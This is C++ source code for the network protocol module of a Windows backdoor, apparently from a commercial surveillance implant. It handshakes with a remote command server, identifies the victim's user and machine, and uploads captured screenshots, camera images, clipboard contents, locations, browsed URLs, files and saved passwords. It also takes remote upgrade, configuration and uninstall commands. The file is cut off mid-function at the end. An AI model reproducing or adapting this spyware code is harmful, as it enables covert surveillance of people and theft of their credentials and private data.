#include <windows.h>
#include <Sddl.h>

#include "binpatch.h"
#include "globals.h"
#include "zmem.h"
#include "base64.h"
#include "utils.h"
#include "crypt.h"
#include "sha1.h"
#include "winhttp.h"
#include "proto.h"
#include "debug.h"
#include "main.h"
#include "device.h"
#include "screenshot.h"
#include "crypt.h"
#include "upgrade.h"
#include "social.h"
#include "conf.h"
#include "position.h"
#include "clipboard.h"
#include "password.h"
#include "url.h"
#include "filesystem.h"
#include "conf.h"
#include "photo.h"
#include "log_cloudfile.h"

#undef _GLOBAL_VERSION_FUNCTIONS_
#include "version.h"

#pragma include_alias( "dxtrans.h", "camera.h" )
#define __IDxtCompositor_INTERFACE_DEFINED__
#define __IDxtAlphaSetter_INTERFACE_DEFINED__
#define __IDxtJpeg_INTERFACE_DEFINED__
#define __IDxtKey_INTERFACE_DEFINED__
#include "camera.h"

extern PDEVICE_CONTAINER lpDeviceContainer;
extern HANDLE g_hDevMutex; //defined in device.cpp

BYTE pCurrentRandomData[16];

BOOL ProtoAuth()
{
	BOOL bRet = FALSE;
	LPSTR lpAuthCmd = ProtoMessageAuth();

	BOOL bSend = WinHTTPSendData((LPBYTE)lpAuthCmd, strlen(lpAuthCmd));
	zfree(lpAuthCmd);

	if (!bSend)
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
		__asm int 3;
#endif	
		return FALSE;
	}

	LPBYTE lpBuffer;
	DWORD dwOut;
	LPPROTO_RESPONSE_AUTH lpProtoResponse = (LPPROTO_RESPONSE_AUTH) GetResponse(TRUE, &dwOut); 
	if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_AUTH))
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
//		__asm int 3;
#endif

		zfree(lpProtoResponse);
		return FALSE;
	}

	if (VerifyMessage(lpProtoResponse->pRandomData, lpProtoResponse->pSha1Digest))
	{
		switch (lpProtoResponse->uProtoCommand) 
		{
		case PROTO_UNINSTALL:
			if (WinHTTPSendData(lpBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &lpBuffer)))
				zfree(lpBuffer);
			Uninstall();
			//__asm int 3; // not reached
		case PROTO_NO:
			bRet = FALSE;
			break;
		case PROTO_OK:
			bRet = TRUE;
			break;
		default:
			bRet = FALSE;
#ifdef _DEBUG
			OutputDebug(L"[!!] Got unknown response, uProtoCommand: %08x\n", lpProtoResponse->uProtoCommand);
			__asm int 3;
#endif
		}
	}
#ifdef _DEBUG
	else
	{
		OutputDebug(L"[!!] Cannot verify message integrity :((\n");
		__asm int 3; // FIXME 
	};
#endif

	zfree(lpProtoResponse);
	return bRet;
}

BOOL ProtoId()
{
	BOOL bSend;
	DWORD dwBuffLen;
	LPBYTE lpBuffer, lpCryptedBuffer;
	
	lpBuffer = ProtoMessageId(&dwBuffLen);
	bSend = WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_ID, lpBuffer, dwBuffLen, pSessionKey, &lpCryptedBuffer));
	zfree(lpCryptedBuffer);
	zfree(lpBuffer);

	if (!bSend)
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
		__asm int 3;
#endif
		return FALSE;
	}
	
	DWORD dwOut;
	LPPROTO_RESPONSE_ID lpProtoResponse = (LPPROTO_RESPONSE_ID)GetResponse(FALSE, &dwOut);
	if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_ID))
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
		__asm int 3;
#endif
		zfree(lpProtoResponse);
		return FALSE;
	}

	if (lpProtoResponse->uProtoCommand != PROTO_OK)
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] Got uProtoCommand != PROTO_OK @ ProtoId()\n");
		__asm int 3;
#endif
		zfree(lpProtoResponse);
		return FALSE;
	}

	// parse availables.
	if (lpProtoResponse->uAvailables)
	{
		LPDWORD lpAvailables = (&lpProtoResponse->uAvailables) + 1;
		for (DWORD i=0; i<lpProtoResponse->uAvailables; i++)
		{
			if (lpAvailables[i] == PROTO_UPGRADE)
			{
				if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &lpCryptedBuffer)))
				{
					LPPROTO_RESPONSE_UPGRADE lpProtoUpgrade = (LPPROTO_RESPONSE_UPGRADE)GetResponse(FALSE, &dwOut);
					if (!lpProtoUpgrade || dwOut < sizeof(PROTO_RESPONSE_UPGRADE))
					{
#ifdef _DEBUG
						OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
						__asm int 3;
#endif
						zfree(lpProtoUpgrade);
						zfree(lpCryptedBuffer);
						continue;
					}

					if (lpProtoUpgrade) // FIXME check che c'e' abbastanza buffah (upgradenamelen + dwfilesize
					{
						LPWSTR strUpgradeName = (LPWSTR) zalloc(lpProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
						memcpy(strUpgradeName, &lpProtoUpgrade->pUpgradeNameBuffer, lpProtoUpgrade->uUpgradeNameLen);

						DWORD dwFileSize = *(LPDWORD) (((PBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen);
						LPBYTE lpFileBuff = (LPBYTE)(((LPBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

						if (strUpgradeName[0] == L's' && strUpgradeName[1] == 'o')
						{
							if (!UpgradeSoldier(strUpgradeName, lpFileBuff, dwFileSize))
							{

							}
						}
						zfree(strUpgradeName);
						zfree(lpProtoUpgrade);
					}
					
				}
				zfree(lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_NEW_CONF)
			{
				if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_NEW_CONF, NULL, 0, pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 12 && lpRespBuffer[0] == PROTO_OK)
					{
						LPBYTE lpConfBuffer = (LPBYTE) (&lpRespBuffer[1]);
						NewConf(lpConfBuffer, TRUE, TRUE);
						StartModules();

						zfree(lpCryptedBuffer);
						DWORD dwOk = 1;
						WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_NEW_CONF, (LPBYTE)&dwOk, sizeof(DWORD), pSessionKey, &lpCryptedBuffer));

						LPBYTE lpResp = GetResponse(FALSE, &dwOut);
						zfree(lpResp);
					}
					else
					{
#ifdef _DEBUG
						OutputDebug(L"[!] GOT != PROTO_OK for NEW_CONF, ptr:%x, size:%d", lpBuffer, dwOut); 
						__asm int 3;
#endif
					}

					zfree(lpRespBuffer);
					__asm nop;
				}
				zfree(lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_FILESYSTEM)
			{
				if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_FILESYSTEM, NULL, 0, pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
					{
						DWORD dwMsgLen = lpRespBuffer[1];
						DWORD dwNumDir = lpRespBuffer[2];
						LPBYTE lpDirBuffer = (LPBYTE) &lpRespBuffer[3];

						FileSystemHandler(dwMsgLen, dwNumDir, lpDirBuffer);
					}

					zfree(lpRespBuffer);
				}
				zfree(lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_DOWNLOAD)
			{
				if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_DOWNLOAD, NULL, 0, pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
					{
						DWORD dwMsgLen = lpRespBuffer[1];
						DWORD dwNumFiles = lpRespBuffer[2];
						LPBYTE lpFileBuffer = (LPBYTE) &lpRespBuffer[3];

						DownloadHandler(dwMsgLen, dwNumFiles, lpFileBuffer);
					}

					zfree(lpRespBuffer);
				}

				zfree (lpCryptedBuffer);
			}
		}
	}
	zfree(lpProtoResponse);
	
	return TRUE;
}


LPBYTE PackEncryptEvidence(__in DWORD dwBufferSize, __in LPBYTE lpInBuffer, __in DWORD dwEvType, __in LPBYTE lpAdditionalData, __in DWORD dwAdditionalDataLen, __out LPDWORD dwOut)
{
	DWORD dwAlignedSize = Align(dwBufferSize, 16);
	LPBYTE lpCryptedBuff = (LPBYTE) zalloc(dwAlignedSize);
	memcpy(lpCryptedBuff, lpInBuffer, dwBufferSize);

	Encrypt(lpCryptedBuff, dwAlignedSize, pLogKey, PAD_NOPAD);

	DWORD dwHeaderSize;
	LPBYTE lpLogHeader = CreateLogHeader(dwEvType, lpAdditionalData, dwAdditionalDataLen, &dwHeaderSize);

	DWORD dwTotalRoundedSize = sizeof(DWORD) + dwHeaderSize + sizeof(DWORD) + dwAlignedSize;
	LPBYTE lpBuffer = (LPBYTE) zalloc(dwTotalRoundedSize);
	LPBYTE lpTmpBuff = lpBuffer;

	// total size
	*(LPDWORD)lpTmpBuff = dwTotalRoundedSize;
	lpTmpBuff += sizeof(DWORD);

	// header
	memcpy(lpTmpBuff, lpLogHeader, dwHeaderSize);
	lpTmpBuff += dwHeaderSize;
	zfree(lpLogHeader);

	// payload size (in clear)
	*(LPDWORD)lpTmpBuff = dwBufferSize;
	lpTmpBuff += sizeof(DWORD);

	//payload
	memcpy(lpTmpBuff, lpCryptedBuff, dwAlignedSize);
	zfree(lpCryptedBuff);

	*dwOut = dwTotalRoundedSize;
	return lpBuffer;
}

BOOL SendEvidence(LPBYTE lpBuffer, DWORD dwSize)
{
	BOOL bRet = FALSE;

	LPBYTE lpEncBuff;
	if (WinHTTPSendData(lpEncBuff, CommandHash(PROTO_EVIDENCE, lpBuffer, dwSize, pSessionKey, &lpEncBuff)))
	{
		DWORD dwOut;
		LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
		if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
			bRet = TRUE;
		
		zfree(lpRespBuff);
	}

	zfree(lpEncBuff);
	return bRet;
}

//encrypt the evidence with the session key and send it (the is already packed as an hashed command)
BOOL SendEvidence_Encrypt(LPBYTE lpBuffer, DWORD dwSize)
{
	DWORD dwAlignedSize=0;
	BOOL bRet = FALSE;

	//encrypt the packet with the session key
	Encrypt(lpBuffer, dwSize, pSessionKey, PAD_PKCS5);

	if(dwSize % 16)
		dwSize += 16 - (dwSize % 16);
	else
		dwSize += 16;

	dwAlignedSize = dwSize;

	if(WinHTTPSendData(lpBuffer, dwAlignedSize))
	{
		DWORD dwOut;
		LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
		if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
			bRet = TRUE;
		
		zfree(lpRespBuff);
	}

	return bRet;
}


BOOL ProtoEvidences()
{
	BOOL bRet = FALSE, bSendDevice = TRUE;

	if (lpDeviceContainer)
	{
		//wait for the mutex to be signaled
		if(g_hDevMutex != NULL)
		{
			if(WaitForSingleObject(g_hDevMutex, 5000) == WAIT_OBJECT_0)
				bSendDevice = TRUE;
			else
				bSendDevice = FALSE;
		}

		if(bSendDevice)
		{
			DWORD dwEvSize;
			LPBYTE lpEvBuffer = PackEncryptEvidence(lpDeviceContainer->uSize, (LPBYTE)lpDeviceContainer->pDataBuffer, PM_DEVICEINFO, NULL, 0, &dwEvSize);
			LPBYTE lpCryptedBuff;

			if (WinHTTPSendData(lpCryptedBuff, CommandHash(PROTO_EVIDENCE, lpEvBuffer, dwEvSize, pSessionKey, &lpCryptedBuff)))
			{
				DWORD dwOut;
				LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
				if (lpRespBuff && dwOut >= sizeof(DWORD))
				{
					if (*(LPDWORD)lpRespBuff == PROTO_OK)
					{
						zfree(lpDeviceContainer->pDataBuffer);
						zfree(lpDeviceContainer);
						lpDeviceContainer = NULL;

						bRet = TRUE;
					}
					else
					{
	#ifdef _DEBUG
						__asm int 3;
	#endif
					}

					zfree(lpRespBuff);
				}
			}
			zfree(lpEvBuffer);
			zfree(lpCryptedBuff);

			//release the mutex
			if(g_hDevMutex)
				ReleaseMutex(g_hDevMutex);
		}
	}
	
	Sleep(100);
	for (DWORD i=0; i<MAX_SCREENSHOT_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpScreenshotLogs[i].lpBuffer;
		DWORD dwEvSize = lpScreenshotLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				lpScreenshotLogs[i].lpBuffer = 0;
				lpScreenshotLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_SOCIAL_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpSocialLogs[i].lpBuffer;
		DWORD dwEvSize = lpSocialLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				lpSocialLogs[i].lpBuffer = 0x0;
				lpSocialLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_POSITION_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpPositionLogs[i].lpBuffer;
		DWORD dwEvSize = lpPositionLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				 lpPositionLogs[i].lpBuffer = 0;
				 lpPositionLogs[i].dwSize = 0;
				 zfree(lpEvBuffer);
			}
		}
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_CLIPBOARD_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpClipboardLogs[i].lpBuffer;
		DWORD dwEvSize = lpClipboardLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				lpClipboardLogs[i].lpBuffer = 0;
				lpClipboardLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}		
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_CAMERA_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpCameraLogs[i].lpBuffer;
		DWORD dwEvSize = lpCameraLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				lpCameraLogs[i].lpBuffer = 0;
				lpCameraLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}		
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_URL_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = g_lpURLLogs[i].lpBuffer;
		DWORD dwEvSize = g_lpURLLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			//#ifdef _DEBUG
			//OutputDebugString(L"[URL] Sending evidendce");
			//#endif

			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				g_lpURLLogs[i].lpBuffer = 0;
				g_lpURLLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}
	}

	// TODO: any specifc order among evidences enforced?
	Sleep(100);
	for (auto i=0; i < MAX_PHOTO_QUEUE; i++)
	{
		LPBYTE lpEvBuffer = lpPhotoLogs[i].lpBuffer;
		DWORD  dwEvSize   = lpPhotoLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize))
			{
				lpPhotoLogs[i].lpBuffer = 0;
				lpPhotoLogs[i].dwSize = 0;
				zfree_s(lpEvBuffer);
			}
		}
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_FILESYSTEM_QUEUE; i++)
	{
		// filesystem
		LPBYTE lpEvBuffer = lpFileSystemLogs[i].lpBuffer;
		DWORD dwEvSize = lpFileSystemLogs[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize))
			{
				lpFileSystemLogs[i].lpBuffer = 0;
				lpFileSystemLogs[i].dwSize = 0;
				zfree(lpEvBuffer);
			}
		}

		// download
		LPWSTR strFileName = lpDownloadLogs[i].strFileName;
		LPWSTR strDisplayName = lpDownloadLogs[i].strDisplayName;

		if (strFileName && strDisplayName)
		{
			LPBYTE lpHeader = NULL;
			DWORD dwHeaderSize, dwFileSize;
			LPBYTE lpFileBuffer = DownloadGetEvidence(strFileName, strDisplayName, &lpHeader, &dwHeaderSize, &dwFileSize);

			if (lpFileBuffer && dwFileSize && dwHeaderSize)
			{
				DWORD dwEvSize;
				LPBYTE lpEvBuffer = PackEncryptEvidence(dwFileSize, lpFileBuffer, PM_DOWNLOAD, (LPBYTE)lpHeader, dwHeaderSize, &dwEvSize);
				zfree(lpFileBuffer);
				zfree(lpHeader);

				if (lpEvBuffer)
				{
					SendEvidence(lpEvBuffer, dwEvSize);

					lpDownloadLogs[i].strFileName = 0;
					lpDownloadLogs[i].strDisplayName = 0;

					zfree(strFileName);
					zfree(strDisplayName);
					zfree(lpEvBuffer);
				}
			}
			/*
			if (lpEvBuffer)
			{




				SendEvidence(lpEvBuffer, dwEvSize);
				zfree(lpEvBuffer);
			}

			lpDownloadLogs[i].strFileName = 0;
			lpDownloadLogs[i].strDisplayName = 0;

			zfree(strFileName);
			zfree(strDisplayName);
			*/
		}
	}

	if (lpPasswordLogs.dwSize && lpPasswordLogs.lpBuffer)
	{
		LPBYTE lpEvBuffer = lpPasswordLogs.lpBuffer;
		DWORD dwEvSize = lpPasswordLogs.dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
			{
				lpPasswordLogs.lpBuffer = 0;
				lpPasswordLogs.dwSize = 0;
				zfree(lpEvBuffer);
			}
		}		
	}

	Sleep(100);
	for (DWORD i=0; i<MAX_LOG_ENTRIES; i++)
	{
		LPBYTE lpEvBuffer = g_log_table[i].lpBuffer;
		DWORD  dwEvSize   = g_log_table[i].dwSize;

		if (dwEvSize != 0 && lpEvBuffer != NULL)
		{
			#ifdef _DEBUG
				OutputDebugString(L"\r\n[LOG] Sending log evidence\r\n");
			#endif

//			if(SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK

			if(SendEvidence_Encrypt(lpEvBuffer, dwEvSize))
			{
				g_log_table[i].lpBuffer = 0;
				g_log_table[i].dwSize	= 0;
				zfree(lpEvBuffer);
			}
		}
	}

	return bRet;
}

BOOL ProtoBye()
{
	LPBYTE lpCryptedBuff;

	if (!WinHTTPSendData(lpCryptedBuff, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &lpCryptedBuff)))
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] PROTO_BYE FAIL: %08x\n", GetLastError());
		__asm int 3;
#endif
	}

	zfree(lpCryptedBuff);
	return TRUE;
}

BOOL Synch()
{
	BOOL bRet = FALSE;
	ULONG pServerPort;
	BYTE pServerIp[32];
	CHAR strIp[100];

	if (!GetSyncIp(strIp))
		return FALSE;

	if (!WinHTTPSetup((PBYTE)strIp, pServerIp, sizeof(pServerIp), &pServerPort))
	{
#ifdef _DEBUG
		OutputDebug(L"[!] WinHttpSetup FAIL\n");
		__asm int 3;
#endif
		return bRet;
	}

	if (ProtoAuth())
	{
		if (ProtoId())
		{
			if (ProtoEvidences())
			{
				bRet = TRUE;
			}
		}
		ProtoBye();
	}
				
	
	WinHTTPClose();

	return bRet;
}

LPBYTE ProtoMessageId(LPDWORD dwMsgLen)
{
	DWORD dwUser, dwComputer, dwSource;
	LPWSTR lpUserName = (LPWSTR)zalloc((MAX_FILE_PATH + 1) * sizeof(WCHAR));
	LPWSTR lpComputerName = (LPWSTR)zalloc((MAX_FILE_PATH + 1) * sizeof(WCHAR));

	GetEnvironmentVariable(L"USERNAME", lpUserName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array
	GetEnvironmentVariable(L"COMPUTERNAME", lpComputerName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array

	LPPASCAL_STRING lpUserNamePascal = PascalizeString(lpUserName, &dwUser);
	LPPASCAL_STRING lpComputerNamePascal = PascalizeString(lpComputerName, &dwComputer);
	LPPASCAL_STRING lpSourceId = PascalizeString(L"", &dwSource);

	zfree(lpUserName);
	zfree(lpComputerName);

	DWORD dwOffset = sizeof(DWORD);
	DWORD dwBuffLen = dwUser + dwComputer + dwSource + sizeof(DWORD);
	LPBYTE lpBuffer = (LPBYTE)zalloc(dwBuffLen);

	*(LPDWORD)lpBuffer = BUILD_VERSION;

	memcpy(lpBuffer + dwOffset, lpUserNamePascal, dwUser);
	dwOffset += dwUser;
	memcpy(lpBuffer + dwOffset, lpComputerNamePascal, dwComputer);
	dwOffset += dwComputer;
	memcpy(lpBuffer + dwOffset, lpSourceId, dwSource);

	zfree(lpUserNamePascal);
	zfree(lpComputerNamePascal);
	zfree(lpSourceId);

	*dwMsgLen = dwBuffLen;
	return lpBuffer;
}

LPSTR ProtoMessageAuth()
{
	BYTE pHashBuffer[20];

	DWORD dwRandomPoolSize = GetRandomInt(128, 1024);
	DWORD dwCryptBufferSize = sizeof(PROTO_COMMAND_AUTH);
	DWORD dwMessageSize = dwCryptBufferSize + dwRandomPoolSize; 

	LPPROTO_COMMAND_AUTH lpProtoCommand = (LPPROTO_COMMAND_AUTH) zalloc(dwMessageSize);
	
	// version
	lpProtoCommand->Version = 0x1;

	// ks
	AppendRandomData(pCurrentRandomData, 16);
	memcpy(lpProtoCommand->Kd, pCurrentRandomData, sizeof(lpProtoCommand->Kd));

	// kd[32] == confkey[16] + ks
	LPBYTE lpKD = (LPBYTE) zalloc(32);
	memcpy(lpKD, pConfKey, 16);
	memcpy(lpKD + 16, pCurrentRandomData, 16);

	// sha1(kd)
	CalculateSHA1(pHashBuffer, lpKD, 32);
	memcpy(lpProtoCommand->Sha1, pHashBuffer, sizeof(lpProtoCommand->Sha1));
	zfree(lpKD);

	// backdoor_id
	memcpy(lpProtoCommand->BdoorID, BACKDOOR_ID, min(sizeof(lpProtoCommand->BdoorID), strlen(BACKDOOR_ID)));
	
	// instance id
	LPBYTE lpInstanceId = GetUserUniqueHash();
	memcpy(lpProtoCommand->InstanceID, lpInstanceId, sizeof(lpProtoCommand->InstanceID));
	zfree(lpInstanceId);

	/* 
		determine whether it's a demo scout or not :
		- cautiously set demo to 0 (i.e. not demo)
		- if stars align properly set to demo
	*/ 
	lpProtoCommand->SubType.Demo = 0x0;

	SHA1Context sha;
	SHA1Reset(&sha);
    SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
	if (SHA1Result(&sha)) 
	{ 
		/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
		unsigned nDemoTag[5];
		nDemoTag[0] = 1575563797;
		nDemoTag[1] = 2264195072;
		nDemoTag[2] = 3570558757;
		nDemoTag[3] = 2213518012;
		nDemoTag[4] = 971935466;
		
		if( nDemoTag[0] == sha.Message_Digest[0] &&
			nDemoTag[1] == sha.Message_Digest[1] &&
			nDemoTag[2] == sha.Message_Digest[2] &&
			nDemoTag[3] == sha.Message_Digest[3] &&
			nDemoTag[4] == sha.Message_Digest[4] )
		{
			lpProtoCommand->SubType.Demo = 0x1;
		}
		
	}

	// sub type => win, scout, release, reserved
	lpProtoCommand->SubType.Arch = 0x0;
		
	
	lpProtoCommand->SubType.Stage = 0x2;
	lpProtoCommand->SubType.Flags = 0x0;

	// encrypt + rand + base64 the whole thing
	Encrypt((LPBYTE)lpProtoCommand, dwCryptBufferSize, pServerKey, PAD_NOPAD);
	AppendRandomData(((LPBYTE)lpProtoCommand) + dwCryptBufferSize, dwRandomPoolSize);

	LPSTR lpEncodedMessage = (LPSTR) base64_encode((LPBYTE)lpProtoCommand, dwMessageSize);
	zfree(lpProtoCommand);

	return lpEncodedMessage;
}

LPPASCAL_STRING PascalizeString(__in LPWSTR lpString, __in LPDWORD dwOutLen)
{
	DWORD dwSize = (wcslen(lpString) + 1) * sizeof(WCHAR);
	LPPASCAL_STRING lpBuffer = (LPPASCAL_STRING)zalloc(dwSize + sizeof(DWORD));

	lpBuffer->dwStringLen = dwSize;
	wcscpy_s(lpBuffer->lpStringBuff, dwSize / sizeof(WCHAR), lpString);

	*dwOutLen = dwSize + sizeof(DWORD);
	return lpBuffer;
}

ULONG CommandHash(__in ULONG uProtoCmd, __in LPBYTE pMessage, __in ULONG uMessageLen, __in LPBYTE pEncryptionKey, __out LPBYTE *pOutBuff)
{
	ULONG uOut, uOutClear;
	LPBYTE pBuffer, pOutBuffer;
	BYTE pSha1Digest[20];

	uOutClear = sizeof(ULONG) + uMessageLen + 20;
	uOut = uOutClear;

	if (uOut % 16)
		uOut += 16 - (uOut % 16);
	else
		uOut += 16;
	
	// sha1(PROTO_* + version + message)
	pBuffer = (LPBYTE) zalloc(sizeof(ULONG) + uMessageLen);
	*(PULONG)pBuffer = uProtoCmd;
	if (pMessage)
		memcpy(pBuffer + sizeof(ULONG), pMessage, uMessageLen);
	CalculateSHA1(pSha1Digest, pBuffer, uMessageLen + sizeof(ULONG));

	// clear-text(cmd + message + sha1)
	pOutBuffer = (PBYTE) zalloc(uOut);
	*(PULONG)pOutBuffer = uProtoCmd;
	if (pMessage)
		memcpy(pOutBuffer + sizeof(ULONG), pMessage, uMessageLen);
	memcpy(pOutBuffer + sizeof(ULONG) + uMessageLen, pSha1Digest, 20);

	Encrypt(pOutBuffer, uOutClear, pEncryptionKey, PAD_PKCS5);

	*pOutBuff = pOutBuffer;
	
	zfree(pBuffer);
	return uOut;
}

LPBYTE GetUserUniqueHash()
{
	DWORD dwLen = 0;
	LPSTR pStringSid;
	HANDLE hToken = 0;
	LPBYTE lpUserHash = NULL;
	PTOKEN_USER pTokenOwner = NULL;
		
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY| TOKEN_QUERY_SOURCE, &hToken)) 
	{
		GetTokenInformation(hToken, TokenUser, pTokenOwner, 0, &dwLen);
		if (dwLen)
			pTokenOwner = (PTOKEN_USER) zalloc(dwLen);

		if (pTokenOwner) 
		{
			if (GetTokenInformation(hToken, TokenUser, pTokenOwner, dwLen, &dwLen) &&
				ConvertSidToStringSidA(pTokenOwner->User.Sid, &pStringSid)) 
			{
				lpUserHash = (LPBYTE) zalloc(SHA_DIGEST_LENGTH);
				CalculateSHA1(lpUserHash, (LPBYTE) pStringSid, strlen(pStringSid));
				LocalFree(pStringSid);				
			}
			zfree(pTokenOwner);
		}
		CloseHandle(hToken);
	}
	
	return lpUserHash;
}

LPBYTE DecodeMessage(LPBYTE lpMessage, DWORD dwMessageSize, BOOL bBase64, LPDWORD dwOut)
{
	LPBYTE lpBuffer;
	
	if (bBase64)
		lpBuffer = base64_decode((char*)lpMessage, dwMessageSize, (int *)dwOut);
	else
	{
		*dwOut = dwMessageSize;
		lpBuffer = (LPBYTE)zalloc(dwMessageSize);
		memcpy(lpBuffer, lpMessage, dwMessageSize);
	}
	
	Decrypt(lpBuffer, *dwOut, bBase64 ? pConfKey : pSessionKey);

	return lpBuffer;
}

BOOL VerifyMessage(LPBYTE lpRandNonce, LPBYTE lpHash)
{
	DWORD dwOffset = 0;
	BYTE pHashBuffer[20];
	LPBYTE lpBuffer = (LPBYTE)zalloc(48);

	memcpy(lpBuffer, pConfKey, 16);
	dwOffset += 16;
	memcpy(lpBuffer + dwOffset, lpRandNonce, 16);
	dwOffset += 16;
	memcpy(lpBuffer + dwOffset, pCurrentRandomData, 16);
	dwOffset += 16;

	CalculateSHA1(pHashBuffer, lpBuffer, dwOffset);

	dwOffset = 0;
	memcpy(lpBuffer, pHashBuffer, 20);
	dwOffset += 20;
	memcpy(lpBuffer + dwOffset, lpRandNonce, 16);
	dwOffset += 16;

	CalculateSHA1(pHashBuffer, lpBuffer, dwOffset);

	BOOL bRet;
	if (memcmp(pHashBuffer, lpHash, 20))
		bRet = FALSE;
	else
	{
		CalculateSessionKey(lpRandNonce);
		bRet = TRUE;
	}
		
	zfree(lpBuffer);

	return bRet;
}

VOID CalculateSessionKey(LPBYTE lpRandomNonce)
{
	LPBYTE lpBuffer = (LPBYTE)zalloc(48);

	memcpy(lpBuffer, pConfKey, 16);
	memcpy(lpBuffer + 16, lpRandomNonce, 16);
	memcpy(lpBuffer + 32, pCurrentRandomData, 16);
	CalculateSHA1(pSessionKey, lpBuffer, 48);

	zfree(lpBuffer);
}

LPBYTE GetResponse(BOOL bBase64, LPDWORD dwOut)
{
	DWORD dwResponseLen;
	LPBYTE lpDecodedMsg = NULL;
	LPBYTE lpResponseBuffer = WinHTTPGetResponse(&dwResponseLen);

	if (lpResponseBuffer)
	{
		lpDecodedMsg = DecodeMessage(lpResponseBuffer, dwResponseLen, bBase64, dwOut);
		zfree(lpResponseBuffer);

		return lpDecodedMsg;
	}
#ifdef _DEBUG
	else
	{
